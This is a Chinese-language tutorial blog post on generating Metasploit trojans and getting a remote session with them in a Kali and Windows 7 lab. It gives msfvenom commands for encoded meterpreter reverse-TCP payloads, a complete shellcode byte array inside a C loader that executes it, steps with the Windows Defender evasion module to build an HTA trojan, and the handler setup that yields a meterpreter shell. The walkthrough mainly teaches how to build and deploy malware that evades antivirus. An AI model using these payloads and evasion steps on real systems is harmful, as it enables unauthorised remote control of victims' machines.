MSF生成木马及木马的简单使用

0x00 前言

  • 本文将介绍有关MSF木马模块的简单使用方式,介绍常见的几种木马生成方式,如有不对的地方,欢迎大家在评论区指正。
  • 由于本文仅对部分模块的简单使用进行说明,更多信息请参考官方网址MSFVENOM
  • 环境配置说明
    1. 使用kali虚拟机和Win7(可以低于此版本)虚拟机
    2. kali虚拟机建议使用最新版本并将系统软件更新至最新版本
    3. Win7虚拟机务必关闭网络防火墙,不建议使用Win7及以上版本系统,简单的木马会被直接删除
    4. 查看两台虚拟机的IP地址,确保两台虚拟机之间可以ping通
    

0x01 直接生成 .exe 木马

  1. 在kali虚拟机中使用 msfvenom 命令,查看kali中是否安装msfvenom模块
    MSF生成木马及木马的简单使用_第1张图片
  2. 查看kali虚拟机的IP地址,并使用kali虚拟的地址执行下述命令
    - ifconfig 查看kali虚拟机的ip地址 当前虚拟机的ip地址为 192.168.25.131
    
    - 执行下述命令生成名称为 2222.exe 的木马
    - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.25.131 lport=3333 -f exe > 2222.exe
    - -p参数用于指定攻击的载荷方式
    - -e参数用于指定编码的类型
    - -i参数用于指定编码的次数
    - lhost参数用于指定攻击机的ip地址
    - lport参数用于指定攻击机的端口
    - -f参数用于指定生成木马的文件类型,以及木马的名称
    
    上述命令执行过后,木马将会默认生成在系统的根目录。该木马为被动连接型木马,即目标主机感染后将会主动连接至木马文件中提前设置好的ip地址和端口。该木马使用meterpreter模块来传输相关的指令。
    MSF生成木马及木马的简单使用_第2张图片MSF生成木马及木马的简单使用_第3张图片MSF生成木马及木马的简单使用_第4张图片
  3. 可以将生成的木马拖动至宿主机,再由宿主机拖动至攻击机里。请注意,由于木马较为简单因此您的宿主机可能将木马删除,请在windows defender中将木马文件恢复,但是不建议您直接关闭宿主机的windows防火墙。木马的具体使用方法请参照后面章节的使用说明。

0x02 使用代码间接生成 .exe 木马

  1. 有的时候使用工具直接生成的木马很难通过杀毒软件的扫描,因此我们可以尝试自行编译代码,并且在代码中加入自己想实现的功能,本节仅介绍如何使用代码编译生成木马。
    - 在kali虚拟机中执行如下代码
    - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.25.131 lport=3333 -f c
    - -b参数用于删除生成代码中的指定字符
    - -f参数这里用于指定生成c语言代码
    
    - 上述命令执行过后,将其中的代码部分复制到剪贴板,在后续步骤由于编译木马文件
    - 具体执行界面如下图所示
    
    MSF生成木马及木马的简单使用_第5张图片
  2. 使用vc++ 6.0对源码进行编译,在对源码编译之前将上一步打码替换至下方所示的代码块中
    #include "stdafx.h"
    #include 
    #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char buf[] = 
    "\xb8\x44\xd5\x8b\xb0\xda\xdd\xd9\x74\x24\xf4\x5b\x33\xc9"
    "\xb1\xb8\x31\x43\x12\x03\x43\x12\x83\xaf\x29\x69\x45\x97"
    "\x29\x02\xd2\x1d\x17\x03\xc3\x95\x8c\x40\xaf\x7c\x04\x19"
    "\xe1\x4f\xd5\x49\x81\x44\x25\x6e\xc6\x6e\x58\xf0\xef\x45"
    "\x94\x69\x11\xc0\xbe\x0c\x65\xcb\x46\x7d\x25\xa3\x10\x5a"
    "\x77\xc9\x1f\x1f\x96\x53\x92\xab\x1d\xc7\xb5\x8f\x9d\x8c"
    "\xd5\x7f\x3b\xdd\x7e\xd2\x03\x91\x8c\x5f\x87\x91\xb9\x3a"
    "\xef\xa7\xf1\x36\xf8\x88\x62\xb1\x84\x94\x73\xa6\x10\xd1"
    "\x90\xb4\xd4\xf0\xcb\x90\x61\xa7\xa5\x1d\x27\xc7\x88\xda"
    "\x73\x94\x22\x24\x36\x62\x25\x8c\x47\xe1\x07\x9b\xa6\xe6"
    "\xca\x88\x46\xcf\x9b\xf6\x75\xf2\x44\xa3\x35\xe0\x43\x24"
    "\x2d\x37\x79\x7a\x71\xa2\x69\xe1\x6b\x42\xed\xc9\xbe\x08"
    "\x62\x5e\xf7\x37\x45\x1a\x16\x1b\xca\x21\xef\xb9\x59\x75"
    "\xf8\x0f\xc4\x0c\x24\xed\xe3\xe7\x97\x76\x17\x16\xd5\xcf"
    "\xc3\x26\x5a\x2a\x29\x3a\xdc\xac\xeb\x33\x64\x55\xac\xa6"
    "\x12\x71\xf2\x7f\xe3\x2b\x31\xac\x6e\xab\x2b\x6b\x20\x9d"
    "\x8a\x22\xc7\x4d\x44\xbf\x6b\x4c\x8e\x0f\xcd\x55\x9f\xa8"
    "\xe5\x9e\xfc\xfa\x4b\x36\x87\x49\x03\x32\xd3\x0a\xf9\x3c"
    "\x80\xe7\x1f\x69\xb4\xb0\x6f\x46\x5a\x2d\x66\x4a\x9d\xde"
    "\x28\x1b\xbd\xe3\xce\xde\xd1\x64\x2c\xd6\xed\x48\x4b\x67"
    "\x4f\xf8\x7a\xc7\xf5\x31\x6c\x8e\x55\x6e\x8f\x1d\x68\x27"
    "\x43\x6a\x86\x4d\x48\x64\xe8\x77\xe7\x55\xbb\x2a\xfe\xa6"
    "\x8f\x1c\xb1\xa8\xd9\x8e\x6c\xc4\x80\x04\xe0\x23\x43\x05"
    "\x82\x88\x46\x0b\x48\x19\x0e\xd8\x9d\xd2\x4a\x8d\x3b\xf4"
    "\xb1\xf6\xcc\xb4\xed\xcd\x38\x42\xfa\x10\xf5\xa9\x95\x76"
    "\x3b\xd3\xc3\x96\x0a\xbf\x84\x7b\xde\xbc\x17\xca\xe4\x87"
    "\x22\x03\x81\x4b\x17\x38\x11\x72\xf5\x6d\xb3\x97\xaa\x68"
    "\x5d\x44\x1a\xb6\x11\x1a\xde\xf5\x44\xbd\x8b\xd8\x52\x9a"
    "\x2e\x53\x3d\xa0\x6e\x7a\xcc\xfc\xa8\x70\x6c\x52\xd4\x9f"
    "\xc8\xd6\x77\xfc\x65\xba\xa0\x26\x20\x73\xc1\xc4\x8c\x3b"
    "\x70\x4c\x8b\x4f\xa1\xd5\x0f\xcb\x07\x6e\xef\xb5\x59\x60"
    "\x5e\x82\xda\xbf\x0b\x8f\x6a\x81\x8a\x53\x48\xc8\x54\x9d"
    "\xe5\x6c\xfd\x41\x76\xf1\xd1\x83\x3a\xf1\xa9\x66\xc0\x04"
    "\xcf\xba\xd0\x18\xa3\x80\x86\x6e\x9d\x96\xb1\x27\x07\x85"
    "\xfa\x12\x6b\x60\xd0\x79\x87\xab\xd3\x09\x6a\x78\x15\x53"
    "\xa9\x84\xde\xd9\x63\x4c\x05\x74\x43\x6c\x44\x04\x58\x2c"
    "\x41\x19\xe0\x26\x77\x80\xcd\xec\x07\xe3\x14\xa3\xd5\x63"
    "\x89\xf8\xbf\xdd\x67\xc9\x98\x37\x19\x77\xd2\x1e\x1d\xf7"
    "\x0a\x90\x44\xcc\xad\x68\xa5\xe0\x69\xc4\x34\x85\x6f\xc9"
    "\x03\xce\x3f\x06\x05\x7a\x60\xd5\x9f\xf3\x55\x98\xad\xf0"
    "\xad\x21\x73\x08\xce\x64\x93\xb0\x49\xc7\x17\x2b\x97\xfc"
    "\x25\x09\x82\x38\x3c\xf7\x4e\xc9\x8e\x76\xbe\x12\xf7\x52"
    "\x44\x29\x19\x3c\x4d\x9a\xac\x6f\x22\x09\x10\x14\x4b\x25"
    "\x50\x37\xd5\x73\x39\x36\xfd\x15\xad\x62\xd7\x09\x96\x8b"
    "\x67\x5e\xfb\x65\xa1\x9a\xe3\x25\x14\x18\xca\xfd\x3c\xb5"
    "\xab\x6e\x81\x70\x80\x44\x66\x9f\xeb\x72\xea\xd9\x1e\xf6"
    "\x44\x1d\x6a\x24\x45\x9c\x91\x7b\xae\x6a\x88\x9d\x32\xa3"
    "\xfb\x18\xe9\xb9\x7d\x4b\x49\xfa\xb3\x1f\x15\x3f\x99\xc8"
    "\x14\xfe\xac\xc2\xdf\x30\x98\x20\x3e\x15\x44\x45\x0e\x24"
    "\xc8\x14\xd7\xcc\xda\x99\xcd\x73\x01\xd1\xf9\x39\x86\x8d"
    "\x7d\x29\x63\x16\x87\x31\x0f\xbe\x5c\x0e\x79\x64\x49\x1b"
    "\x6b\x47\x15\x44\xa9\x01\x32\xcf\xbc\xdb\xd8\x93\x6f\x9e"
    "\xc3\x63\xab\x9a\xd8\x6d\x10\xd6\x79\xc2\xeb\x26\x33\x9f"
    "\x05\x84\x52\xd6\x80\x97\xf6\x23\x5f\x3c\x03\x43\x04\x7a"
    "\x99\x9c\x89";
    
    main()
    {
    	((void(*)(void)) & buf)();
    }
    
  3. 运行vc++,选择右上角文件按钮–>新建–>win32 application–>自拟工程名称–>确定
    工程创建成功后将之前构建好的木马代码粘贴至source files中的.cpp文件中,名称为我们自拟的工程名,如下图所示为1102.cpp
    MSF生成木马及木马的简单使用_第6张图片
  4. 选择StdAfx.cpp文件选择上方组建按钮,点击编译按钮,编译成功后下方会显示零错误提示栏。
    选择我们创建的1102.cpp文件,选择上方组建按钮,点击组建按钮,编译成功后下方提示栏会显示零错误提示。上述步骤执行结束以后木马文件就会成功生成,但是如果你是在win10系统中运行上述步骤生成的木马很大概率会被windows defender删除,建议将工作目录设置为排除文件夹。
    MSF生成木马及木马的简单使用_第7张图片

0x03 使用msfconsole控制台中的evasion模块生成免杀病毒

  1. 该模块由官方提供,但在实际测试简单的规则依然会被杀毒软件,本节只讲解该模块生成木马的简单使用方式,更多信息请参照官方文档。
  2. 在kali控制台中输入msfconsole回车运行控制台,输入show evasion查看支持的木马类型。
    MSF生成木马及木马的简单使用_第8张图片
    MSF生成木马及木马的简单使用_第9张图片
  3. 我们这里选择使用evasion/windows/windows_defender_js_hta生成木马,输入命令 use evasion/windows/windows_defender_js_hta。接着输入options查看我们可以设置的参数。
    MSF生成木马及木马的简单使用_第10张图片
  4. 接下来设置木马的相关参数,执行下述命令
    - 设置payload
    - set payload windows/meterpreter/reverse_tcp
    - 设置攻击机IP地址
    - set lhost 192.168.25.131
    - 设置攻击机的端口
    - set lport 3333
    - 设置木马文件名称
    - set filename hack.hta
    - 再次输入options查看我们设置的信息是否有误
    - options
    
    MSF生成木马及木马的简单使用_第11张图片
  5. 输入run指令生成木马,页面会返回木马生成的文件目录
    MSF生成木马及木马的简单使用_第12张图片

0x04 木马的使用

  1. 在上述的三个小节中我们介绍了三种木马文件的生成方法,针对上述三种木马文件的使用方法是相同的,因此在最后一节统一进行说明,我们选择最后生成的hack.hta文件进行讲解。
    - 木马文件的执行过程执行流程如下
    1. 目标主机中被上传有木马文件
    2. 攻击机开启监听端口,监听目标机可能发来的连接请求
    3. 目标主机执行木马文件,与攻击机建立连接
    4. 攻击机执行攻击命令
    
  2. 在kali虚拟机中执行命令,启动监听模块,并设置相关参数,具体命令如下
    - 启动msfconsole控制台
    - msfconsole
    - 启动监听模块
    - use exploit/multi/handler
    - 设置payload
    - set payload windows/meterpreter/reverse_tcp
    - 设置攻击机IP地址
    - set lhost 192.168.25.131
    - 设置攻击机的端口
    - set lport 3333
    - 输入options查看我们设置的信息是否有误
    - options
    - 输入run命令启动监听端口
    - run
    
    MSF生成木马及木马的简单使用_第13张图片
  3. 目标主机使用管理员模式运行木马文件,kali窗口中将会返回meterpreter操作窗口
    MSF生成木马及木马的简单使用_第14张图片
  4. 输入getuid查看目标主机的计算机名称,输入?获取相关更多操作的详细说明
    MSF生成木马及木马的简单使用_第15张图片

你可能感兴趣的:(网络,安全,网络安全)